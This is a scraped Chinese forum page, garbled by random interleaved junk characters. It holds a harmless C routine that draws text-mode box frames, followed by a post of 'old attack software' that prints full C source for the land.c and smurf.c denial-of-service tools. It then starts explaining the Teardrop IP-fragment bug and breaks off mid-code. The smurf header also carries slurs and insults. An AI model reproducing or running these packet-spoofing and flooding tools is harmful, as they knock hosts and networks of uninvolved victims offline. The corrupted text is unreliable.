<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
9 `9 S% _# U7 g' V  }6 k% x: r<FONT color=#009900>/*
5 B( z) u1 d1 T. U3 N" ^*
, o2 Z" a* C' i) \( ^4 a* Short driver module. V6 A) w1 ^/ S# b
*
/ w# |! v& ?7 r& M*/</FONT></P><><FONT color=#009900>main()! k- t* j, g5 p  @5 @, y0 {
{, I) S! Y& J. m4 P
clrscr();5 a& J( ]$ G& K
box(1,1,23,79);
) O1 W1 Z2 [- E( }) tbox(2,2,21,77);
( E1 B; Y2 d1 ]3 Q+ a% abox(3,3,19,75);
0 t/ B& g9 d6 T9 n+ Q/ Vbox(4,4,17,73);% c& b* Z& |. n0 q: ]  _. c
box(5,5,15,71);
" b: ], B5 Y$ r' l% E& g/ ^box(6,6,13,69);2 c$ T2 D, T' o0 _! N# V, S
box(7,7,11,67);
$ h1 I9 s, e6 r# _box(8,8,9,65);
  l. \4 X% T) A  D. Y! Dbox(9,9,7,63);$ D6 g8 P9 P- d9 i/ |* [- z
box(10,10,5,61);) z1 \( p! i- c
box(11,11,3,59);
/ J! q- i9 @" Sbox(12,12,1,57);
7 h+ C3 Z% b4 h+ z- g0 E$ Hposcur(24,1);
4 c9 G2 C9 i+ C/ z& u( x4 C}</FONT></P><><FONT color=#009900>/************************************************************
3 {5 [' b1 Z3 N" x* BOX *
8 W  L: p' @$ J$ C% D6 x*----------------------------------------------------------*6 f1 L& G6 z) G
* Written by: Jeff Ebert 7/01/87 *' m# N' F# q/ u* |& j
* Modified by: xxxxxxxxxx *  b  g/ T9 S& Y1 c; j8 V
* *- B' p( n' c: Y
* Please modify me! *6 H- ]8 h2 A' J$ ?1 ^( O
* Possible Enhancements include but are not limited t *# w! D3 @- z: o" [- X$ G6 l) g
* 1) Variable box character styles [1 line or 2] *
4 H( p8 M( {! n3 C0 A( P* 2) Error checking *
1 l' g( A0 @% A" R" Y: I* _% z# L- `* 3) Color options *
/ F6 W! |  [& ]* *9 F: F. ?$ J* T! ~; [, D1 l
* *( @3 X, _! z/ J  K0 A) u: X$ a* d
* This function builds a simple double frame for a menu. *+ J" v" m: q1 l8 h
* The function is passed the parameters for the upper *, |' F9 K. ^2 o8 Z
* left corner row, upper left corner column the height *
& x8 J( R- a2 i5 n! s4 I9 ?* of the frame and the width. *
) W/ K$ t! A! g, L* *+ f5 k6 M8 U4 B4 @8 x- b
************************************************************/- q2 i+ U, t! ~. V% g8 {
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201' D( x2 v, g: k  o! v. Y1 T6 s3 w9 k1 f
#define URCOR 187
, ~% \7 b$ x( I, X#define LLCOR 200; U4 M" J0 R5 k
#define LRCOR 188
# k) A6 _- w+ m0 c: o. H' u% _#define VBAR 186% ^( ~0 b3 _& W$ m' x- `
#define HBAR 205) K$ ?% t7 w7 {! D) R8 c' s3 T4 Z* ]) F
#define ESC 27</FONT></P><><FONT color=#009900>, V/ E3 D# |  o- }! g- b2 s
box(row, col, hgt, wdth)
, z( N6 W+ F1 bint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{) R5 h! L6 O; v2 F" I: |
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
# J) h# [, H2 K" ~4 F3 M) f; Cputchar(ULCOR);
) \+ ?# ]3 b, n0 t9 U  q8 wfor(x = col + 1; x &lt;=(col + wdth -1); x++)
" c! d+ d2 i  ]. Nputchar(HBAR);9 B/ h& N, k9 [6 W5 `: _& A
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
, B! z& J2 `9 F" d2 m: h& c( qposcur(x,col);# G) K, W% G% y1 @. M& I# u% d* q2 `
putchar(VBAR);! Y- h2 Z. l/ {- t
poscur(x,col+wdth);
+ X. g9 S' P8 f" J1 ?# U9 Xputchar(VBAR);/ I& h0 k8 p1 C+ W+ [; r* }  r( r
}8 \/ {2 a6 a1 P* l1 ?8 o
poscur(x,col);
. ]* f1 D3 L+ e8 U( F7 R; R# vputchar(LLCOR);
5 r( q- p# e7 Xfor(x= col + 1; x &lt;=(col + wdth -1); x++)" U2 D% {4 V- m" }$ A) G
putchar(HBAR);* h. k! |- V+ _6 c  N" {- @6 G
putchar(LRCOR);
. K2 T  J- z; L. R+ {" P) o}</FONT></P><><FONT color=#009900>/********************************************************
8 K# H( W: }5 d8 Q0 r- [3 F* POSCUR *; x, j8 N' j; \$ C& f/ w# H
*------------------------------------------------------*
6 z* g( a* b) i+ [( T  n* r& h* This function positions the cursor at the specified *
; f6 j$ g5 _$ J+ X5 }* x,y coordinate. It uses the ANSI standard ESCAPE *5 ]2 W) x+ V. f' P
* sequence to produce the desired effect. Its not the *
5 R) ^' g; }3 j) I9 Z* fastest way to position the cursor, but perhaps the *- Q1 z! A8 L! I) p" l) ]
* most portable. *
4 |: F# h) A7 |* *& G* a! r, b# k2 ]0 l9 X" F
********************************************************/
& o6 O+ i0 x; \8 ]) V, K! L1 yposcur(xcor,ycor)9 T* M3 q: d6 @+ T
int xcor,ycor;6 Q1 S% N" x8 W6 W1 G$ t
{
% U" z0 D# Z- s4 j6 A" J& ?: ]printf("%c[%d;%dH",ESC,xcor,ycor);
9 M# M8 P' _# e9 D+ E9 j}</FONT></P><><FONT color=#009900>0 n) \5 y4 t, H: B3 d
/********************************************************: M8 e# y6 I0 v* |" Z: B
* CLRSCR *. P# U* m, C) h. |
*------------------------------------------------------*2 f+ H% \/ b5 m$ g7 I" C# u5 a7 C( t
* This function positions the cursor at the specified *
6 N' C: g7 _. O  E  s1 D7 q, V* x,y coordinate. It uses the ANSI standard ESCAPE *4 k. ~. Q6 {, [3 F( C6 y1 W+ a8 o
* sequence to produce the desired effect. Its not the *" x1 \( B/ d# n" j0 e
* fastest way to position the cursor, but perhaps the *% q4 H: z: ^3 [4 W
* most portable. *" R' X' M$ P* ^9 b
* *
( A" M0 p* {" U********************************************************/8 b. E# e: f. }* e/ Y
clrscr()
2 w& c: e: p, h{
5 Y; q$ O# ^( u5 u+ y7 o1 Wprintf("%c[2J",ESC);  E) g+ T6 n1 D) D' k
}</FONT>
9 ]5 o. h" X( `</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
. e2 B3 f/ c2 H9 }! Q这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自8 Y- v: U" ^+ Z" q
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>/ I; K; w* d# d. [! M9 i2 R3 o
<FONT color=#009900>/* land.c by m3lt, FLC, o1 u! B. d6 A; l" h# Z# j/ c
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
' O, V5 W4 ]* V8 v" ~. L1 c#include <NETDB.H>
$ r  o% o. i9 R6 y% d#include <ARPA inet.h>7 D1 j; s* E$ b7 p; i
#include <NETINET in.h>
6 ]) r$ G* u; C% ^#include <SYS types.h>
, E8 P+ {: x% a" M+ F$ s#include <SYS socket.h>6 L1 T$ X5 ]! v* r8 c- I
#include <NETINET ip.h>
$ s, p! h3 W& b8 ]3 r& u#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头+ W# b' l* M4 J/ i7 @
struct pseudohdr
0 ]4 `% W& h  d9 ~* z0 n{; d& q: ]2 b& y% O
struct in_addr saddr;! F5 s: E! }) D$ |7 y
struct in_addr daddr;
- F  m- R& n( s* d& D: A4 [) du_char zero;
0 X! x3 ^# X6 B  hu_char protocol;
! u9 O2 ?1 M( A( \; A) w+ \u_short length;7 ^( K( M# V) t6 b$ }7 q
struct tcphdr tcpheader;
6 T4 T! A* ^/ i};</FONT></P><><FONT color=#009900>//计算IP校验和
0 f9 ^2 k0 {- ?* t; }u_short checksum(u_short * data,u_short length)
% R6 J. e" k6 S3 E# Y" B{
% r2 c3 S. N4 d7 `* |register long value;3 a5 B* Z  f" W/ k% A" A
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++). Y- m- i* L# [0 v% Z8 V- a7 Y
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)0 ~3 X* u8 F, h
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
8 K. n3 F! z- t- r- w: d- a. S}</FONT></P><><FONT color=#009900># m5 y0 f3 k6 A! x1 |9 }
int main(int argc,char * * argv), P5 E9 A- I2 g# t5 d
{$ e( F: w( [( N$ H$ ^8 S9 L
struct sockaddr_in sin;
+ Z; J; o1 A( h7 }; Mstruct hostent * hoste;9 e6 j8 i# U" R- @9 w8 s* _  g- ?
int sock;( |4 c3 O! E  z1 O( U! G, w
char buffer[40];- d: I! B( J, J
struct iphdr * ipheader=(struct iphdr *) buffer;
7 Y) M0 \8 y' A+ Y: p4 Q! q* Mstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));; J. g6 r; t8 _! [% `9 L
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)2 ]% l$ [& f! }, Z) A: H- x
{
/ P( X% J2 t) S. Z* c, E& Nfprintf(stderr,"usage: %s IP port\n",argv[0]);! _( h9 R( T8 A2 w! r* f) H! _) m
return(-1);
/ M' K$ @$ `5 C  h9 ?! D2 y% J}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
$ e: z0 [5 |! p! }+ v8 Esin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL). ~! B7 ~" @0 I7 K1 @' e
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);& a; O/ P, |  O4 D6 a
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)* U5 K- M* O4 x6 B5 d; F# F8 W
{: u' D2 n5 D" W8 R
fprintf(stderr,"unknown host %s\n",argv[1]);
$ A2 M( n& b6 A3 T$ m& o' N4 Rreturn(-1);5 t4 T; y) c, }; ~2 W2 I
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
, u  `. |6 f+ m{  P- ]) b- a6 `0 J  n6 x8 W0 h
fprintf(stderr,"unknown port %s\n",argv[2]);, T9 T# s5 J) R* U% P! P9 T7 ^
return(-1);, p) [+ a# O" M. U
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限/ l8 Y! {) j5 N  j9 A, L
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
: i$ B' |- G& `! {! B  S, e{4 ]7 m* l3 E+ T& C
fprintf(stderr,"couldn't allocate raw socket\n");
; S3 V3 ~/ t+ O+ W1 B/ r9 q4 jreturn(-1);( \# d- ]5 b) p; Y5 F
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
; ^' L; l, g$ D/ |6 [6 ripheader-&gt;version=4;
9 |$ {. T" Y% D0 S: Cipheader-&gt;ihl=sizeof(struct iphdr)/4;
0 b3 k" }  E, lipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));' F- P) c! G5 z$ d: Z  h  k' F) o
ipheader-&gt;id=htons(0xF1C);
; A5 E9 A* w; T/ Z& tipheader-&gt;ttl=255;' r+ T: |6 }+ ]$ I0 ~
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同+ l: M: O5 q; R# Z0 o9 V1 h+ N
ipheader-&gt;saddr=sin.sin_addr.s_addr;1 ~3 Q' ]% b7 v& H( M' Q/ I
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
# y2 l8 |& i  z( `+ O: ^tcpheader-&gt;th_sport=sin.sin_port;
2 O" ^& d  b9 v( Jtcpheader-&gt;th_dport=sin.sin_port;( J. `4 g* m" w# R
tcpheader-&gt;th_seq=htonl(0xF1C);
6 u3 i# K7 q, p! a( htcpheader-&gt;th_flags=TH_SYN;
' d1 I# n" X' h6 @3 A+ F$ E6 M+ Jtcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
$ y* r" n& F; v0 l* U7 P* @tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
2 W) w8 |: \, s, upseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
+ {5 D5 W, I6 j" }# J" Ypseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
; _) q! J. A, s  ]0 q: ~pseudoheader.protocol=6;7 ?( g9 }2 u! y
pseudoheader.length=htons(sizeof(struct tcphdr));% n0 o5 Z1 u" P
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));3 H3 P  K8 U1 \
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
9 u2 a+ a8 w* i. [0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
9 u# g4 ?! J* V7 ^5 D4 b8 r' s{8 G! Y; D6 U) I9 I
fprintf(stderr,"couldn't send packet\n");9 H+ j7 A0 ]$ F
return(-1);7 v6 ~5 b0 _5 l. D4 g
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);# v& i* s) h$ n3 S( ]/ ^
return(0);% v2 Y7 M& |$ h9 |
}</FONT></P><>
, b" K  s. K; _/ {* @9 C2 Smurf  W+ n1 O6 J( y8 ?- e  X; h& M0 |
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数" j; _# r, M- l, U
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
8 W; `/ L! V6 w  c' q+ |的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
* }5 l& b6 G" licmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
6 G* T7 C' W/ o; c$ l* T(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变& A& S$ ]5 b9 q; q
成不可能(没有WINS服务器时)。</P><P>/*
9 r# N7 D7 g1 K  m*) X! L- d! Y$ g" J; c) o. h; v
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
0 l/ z, a4 M! P; M5 C*6 n) p4 b3 C* _% C4 t5 G
* spoofs icmp packets from a host to various broadcast addresses resulting, k) T+ n, |8 a" ]  t
* in multiple replies to that host from a single packet.8 l+ _; U! A. U; N7 I  ^+ h' a
*
, a# _- N) ^% |5 T0 }* mad head t
4 k/ k- `! a2 A3 T( h* M* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
2 E( k. ]3 ~6 v( \- d; C  @* MissSatan for swallowing, napster for pimping my sister, the guy that
, Y4 }) u8 j  J8 k0 C* invented vaseline, fyber for trying, knowy, old school #havok, kain
- C! t. |# F0 D6 L6 Y, [! h5 v- F( V* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
4 i2 J  Q8 f. l3 z* have missed (you know who you are).$ y7 z. G! a6 u, Y- n1 |% ?9 H. f
*# M; W: K5 J. H/ B8 J3 W7 A
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy, Y8 G! K- K# m! C7 V5 R
* thing he is (he's -almost- as stubborn as me, still i managed to pick up; Y. m, U9 j) M5 w( F. q! `
* half the cheque).
0 X% l) @5 P/ T*
2 g1 L$ L: J3 K( z* and a special hi to Todd, face it dude, you're fucking awesome.9 m' w* M! a! {+ ?
*- W+ e+ v4 q8 G
* mad anal t
8 u* Z7 S/ _) O( A6 w; L* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
9 }* d& C- x* W2 j3 h* because they plain suck, Rolex for being a twit, everyone that$ L- P0 c: B3 V* Y( p$ o
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
7 R/ C% J  m' X4 g) A* partner, #cha0s, sedriss for having an ego in inverse proportion to4 @# r+ k2 M) j, x) d
* his penis and anyone that can't pee standing up -- you don't know what
% e1 j. W) X" C" N: d* your missing out on.
/ R( [3 d+ ?/ U; f*+ h  P' q- X) [3 o
* and anyone thats ripped my code (diff smurf.c axcast.c is rather! k& g! n0 x, r) e4 ~+ t
* interesting).
( A' t, p8 W$ r' u$ Y# g# Y*" W. e3 K" o; j3 i; G! |& Y' t
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
, q# _/ X$ R$ B0 n! n* Robbins for trying to steal my girlfriend. Not only did you show me
2 q$ K9 O! A' V* no respect but you're a manipulating prick who tried to take away the: S: M+ G1 b  k6 |/ D& `/ @
* most important thing in the world to me with no guilt whatsoever, and
' V* ^4 a7 f7 Q& l* for that I wish you nothing but pain. Die.
  x0 b! R; b  o' m*
5 l3 j  F. `7 N0 W1 K# J2 `7 x( I* disclaimer:
& P( L# q) M9 H. D: t0 J& V7 O* I cannot and will not be held responsible nor legally bound for the# s2 N% j3 b9 X! H
* malicious activities of individuals who come into possession of this
/ j! U" i. G8 z( A* program and I refuse to provide help or support of any kind and do NOT
  V) S: T- a9 ]* condone use of this program to deny service to anyone or any machine.
, p" ~* }. y3 t: h' L4 ]* This is for educational use only. Please Don't abuse this.
+ T* Y& [: u6 ^4 `* y) _*
2 A5 q& q# l1 N" ~* Well, i really, really, hate this code, but yet here I am creating another& A0 A5 E4 J+ T  N9 l
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,* [; C# N& Z5 P- N
* like most programmers don't like seeing bugs in their code. I saw a few
6 Q! F% V& P# r$ ^- p! ~* things that should have been done better or needed fixing so I fixed
0 U( z  q3 o# o' O0 I* ]) b* them. -shrug-, programming for me as always seemed to take the pain away
! C/ K  ^- q# z7 S* ...( k9 E+ u3 ~. N0 H0 D4 j
*
7 w& F" R. ]$ F* [( u7 b*
4 L2 F) Y* u3 F# @) o- D- e*/</P><P>#include <SIGNAL.H>8 Q% z0 ~8 W" ~7 D
#include <STDIO.H>
3 r" w& m# e' U#include <STDLIB.H>8 M6 W3 I2 L' r+ Y3 w+ a8 g0 I
#include <SYS socket.h>  Z, [, J* g4 Y4 c
#include <SYS types.h>
& x, }. }- X$ Z$ e+ ?, w" i3 T: @#include <NETINET in.h>! W, `9 K% m8 Y9 B/ q8 l
#include <NETINET ip.h>
5 ]0 ?$ Z: s+ J0 u#include <NETINET ip_icmp.h>: ~8 X7 t& _0 h0 d, ~$ R5 k
#include <NETDB.H>: o1 n' `; n: O* y& F5 ?
#include <CTYPE.H>
2 {9 n+ \9 A0 s7 }#include <ARPA inet.h>* g. R' ?0 `2 @4 J
#include <UNISTD.H>! t2 M1 t  j: J3 X2 ?
#include <STRING.H></P><P>void banner(void);* h1 E3 |  p' x8 B  c# r
void usage(char *);& m% [' |" k9 K
void smurf(int, struct sockaddr_in, u_long, int);/ q$ x1 j" y7 u% H
void ctrlc(int);/ `& f, r) G9 |5 `8 ?4 c
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
/ H' |6 ?: P) b# ^2 Ochar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
; M1 M$ |" z% D# r) P% B$ Y. d/ s, C{
+ |, r$ T" q( w2 u7 Lstruct sockaddr_in sin;
& Y" a$ f( j$ O3 E$ B$ I8 zstruct hostent *he;
) l! g& o1 p  o/ J( S, y! T7 ?) nFILE *bcastfile;! F8 x+ e. w3 A8 [. d4 a
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
4 t9 |3 u6 h, P) U* P) W# d3 Y- Tchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
5 P7 g' ?3 f; L4 e3 k. H! Ksignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {8 b  x, x, z3 n$ f# n7 E: t/ l4 o' ]: v
perror("resolving source host");$ }( l$ Z1 L6 V
exit(-1);" n, a. ~; w- a
}% ?/ {0 [3 V+ ]
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);  e* z, z5 @' ^) D- T6 d; d0 `
sin.sin_family = AF_INET;
. B2 C) g% X0 ~" K. }+ h5 msin.sin_port = htons(0);</P><P>num = atoi(argv[3]);% Y$ D: `) D% O* j. y
delay = atoi(argv[4]);
- k" {8 R7 _' b1 k* ]& Gpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {; O9 c% T/ b1 P2 Z
perror("opening bcast file");0 O2 j  w# \' p* _  n: ~/ a. O
exit(-1);
- q. I6 M3 [) i$ b" ~2 H}
* s( L" d1 _! u5 T. Cx = 0;  B' B! }9 t1 I/ ?/ `% x' n- Q
while (!feof(bcastfile)) {
' \3 c; j& S0 E2 g2 |fgets(buf, 32, bcastfile);' {4 x* J3 h' d' Y  S
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;" F8 m: }/ a$ `+ O& X% l% S
for (i = 0; i &lt; strlen(buf); i++)
- w6 p/ e* \2 A) n* Iif (buf == '\n') buf = '\0';
' d2 O  Z  Q3 I- {bcastaddr[x] = malloc(32);
! I' E. @: k) U$ z) o0 x9 Vstrcpy(bcastaddr[x], buf);
; S$ y- V* f; [. g( [: d' nx++;5 a0 N0 G% n; [+ K
}" b% V% w7 H4 d9 \9 a6 U
bcastaddr[x] = 0x0;
( B* C3 W3 u4 D% wfclose(bcastfile);</P><P>if (x == 0) {& O) n1 C7 ]* a5 o5 u# ?
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);& Q+ ~& j) W( @$ ^: Y
exit(-1);7 B  X+ [# d* P3 J. U* ?$ E8 \
}$ \5 u" ]& V" ?) l, V$ D
if (pktsize &gt; 1024) {5 y  _. J' r% [7 E3 \" X7 _  x4 F
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");, |' k2 e0 M  K% T2 p$ W5 Z7 v
exit(-1);/ M" z+ s' g3 t* T3 q4 S; D
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
8 B, |) z. E5 S% y0 x2 aperror("getting socket");
5 q( \, M) o) j; c2 V, j" r; a2 fexit(-1);
5 [. k# d2 Y6 M( V$ H5 E}4 D5 F. S  S* D( v- {
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
2 {3 N2 b- N4 Q' o3 |+ D( t/ Tif (!(i % 25)) { printf("."); fflush(stdout); }
8 W, ^+ Q2 O; y! H! U; w. i: Osmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);6 Q" p( e! c' b& L" X& i4 e
cycle++;
' e& Z8 O) U! Xif (bcastaddr[cycle] == 0x0) cycle = 0;
6 q3 R) K7 G" H. Q; ?usleep(delay);7 F# ?" J! a; V/ H! w
}
, V3 M  B: A$ Gputs("\n\n");# R$ g! `7 j+ o' ]
return 0;: S! S% a. v* h$ v
}</P><P>void banner (void)+ c/ P9 H4 D# X2 [4 g+ I
{9 V! w/ [4 j4 p+ ^
puts("\nsmurf.c v4.0 by TFreak\n");
! ]- T* ^( N- ?9 h}</P><P>void usage (char *prog)5 r! }7 a: @  ?1 ?, p8 F( y
{, J7 ?# I. b/ B
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
, u8 N7 l* i: U  ]) A! m"<NUM packets> <PACKET delay><PACKET size>\n\n"
& k5 B+ y7 w. T. u: V( V# J! c"target = address to hit\n"
1 _4 v9 ^  v( H2 }"bcast file = file to read broadcast addresses from\n"
- I/ [& H0 a! P+ S" |"num packets = number of packets to send (0 = flood)\n"- t9 E5 p7 L  J5 o. O
"packet delay = wait between each packet (in ms)\n"' W% {, f4 g2 t3 _1 l8 Y8 e$ Z' w& {  a
"packet size = size of packet (&lt; 1024)\n\n", prog);1 ^' D+ e/ p) w5 e
exit(-1);' d. v5 Y0 p  W( I2 ~+ p! F
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
6 d8 p; Q( t0 ^{
6 V3 ?+ v" R+ j5 ?% \8 A2 C- bstruct iphdr *ip;
: o1 w5 Q) n( \+ e% V6 D: V$ pstruct icmphdr *icmp;
2 l8 N6 F* n* Vchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
( m# T0 j( p, T: M2 n, \ip = (struct iphdr *)packet;
# u0 a) }5 n# q& ^! oicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
2 |/ ]5 d; H( v/ n; W. z0 F5 dip-&gt;ihl = 5;0 r) p  G1 N1 C$ B! y, A
ip-&gt;version = 4;) Q; g+ {. \# w% U0 V" A
ip-&gt;ttl = 255;
- U% p# u. ^: i* K, @ip-&gt;tos = 0;
( x0 u  k/ c7 f) }/ Eip-&gt;frag_off = 0;  {2 T* Z: q! A( V4 B: L4 ], h  q# b. c
ip-&gt;protocol = IPPROTO_ICMP;, l3 I4 a! V- N" [& i% O
ip-&gt;saddr = sin.sin_addr.s_addr;; k! D. M8 ?! Z/ M, L! \1 }
ip-&gt;daddr = dest;+ m/ @9 ~$ V4 W* F1 X0 T. G( ]1 E0 t
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
8 u: W% ~8 y: Y: d; zicmp-&gt;type = 8;
# a$ G, B8 R; U% B- Hicmp-&gt;code = 0;5 u& s! t" ?3 S6 ]' M
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,' _! P/ _: T9 x% y" f. `2 c
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */, o. |% A$ }/ H7 |5 `
}</P><P>void ctrlc (int ignored)2 k/ s- ^/ b6 W5 L
{
2 M& d3 s9 J* {  g) I4 Q9 fputs("\nDone!\n");
# a* Y% d' v; j2 c; Cexit(1);9 X9 t+ a" I/ o
}</P><P>unsigned short in_chksum (u_short *addr, int len)9 D$ J2 ~# S  r% h
{) L' r* y$ m! Q, ?5 f* U* R
register int nleft = len;0 x7 q) P( p+ Z+ e- R1 x1 S
register int sum = 0;* [6 T; J6 B3 J
u_short answer = 0;</P><P>while (nleft &gt; 1) {( E5 \; A3 X7 w
sum += *addr++;
8 ^: V* z  C; g9 S9 gnleft -= 2;- S2 V+ k& Y9 ~
}</P><P>if (nleft == 1) {6 V9 s: `: n7 S& s
*(u_char *)(&amp;answer) = *(u_char *)addr;
3 \  r4 e. x3 a% G+ {sum += answer;
5 X. b  W( s2 g1 v% F& y}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
7 }7 P9 P8 Y5 Jsum += (sum &gt;&gt; 16);  W0 t' [! W& P( g" E& E/ W) B
answer = ~sum;
5 l7 M1 j7 O8 V. n+ `' `0 Nreturn(answer);
2 T2 m5 Y5 N. A}</P><P>
+ n$ F  w: c/ Z2 `' s3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:( Z; s9 i0 M( ~+ i2 U: C0 z
fp = qp-&gt;fragments;
0 G0 @; M6 i2 l+ Qwhile(fp != NULL)+ a- g- a/ X) c
{
' ?" h' _+ k/ b& I' Zif(count+fp-&gt;len &gt; skb-&gt;len)
5 k2 c: p9 ^( |5 f) N$ K5 F{
! _+ |, h7 @9 n) z; B, x" F1 cerror_to_big;; `2 X  A; M  I0 i$ `2 X
}
1 C, j0 h% l9 i- |memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);/ R/ n) D0 P# J: v
count += fp-&gt;len;% C4 ~3 n+ d+ u7 Z% ?% T8 `
fp = fp-&gt;next;. p8 x! H5 {* S4 U* T) w# _
}
- C, r  x5 I7 H2 \1 v" E9 J4 ?3 e这里只检查了长度过大的情况,而没有考虑长度过小的情况,
" j' h( x& c/ |+ D# E如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:; S0 V1 I5 g7 |- Z4 y9 K
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)& P5 s2 ~! C# C% B% b
是这样处理的:
3 P& \/ I' [  w/ ~/ Qif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)0 ^" b: \$ e4 {. M
{5 n8 I1 n9 t: r' Q* ?/ ~
i = prev-&gt;end - offset;
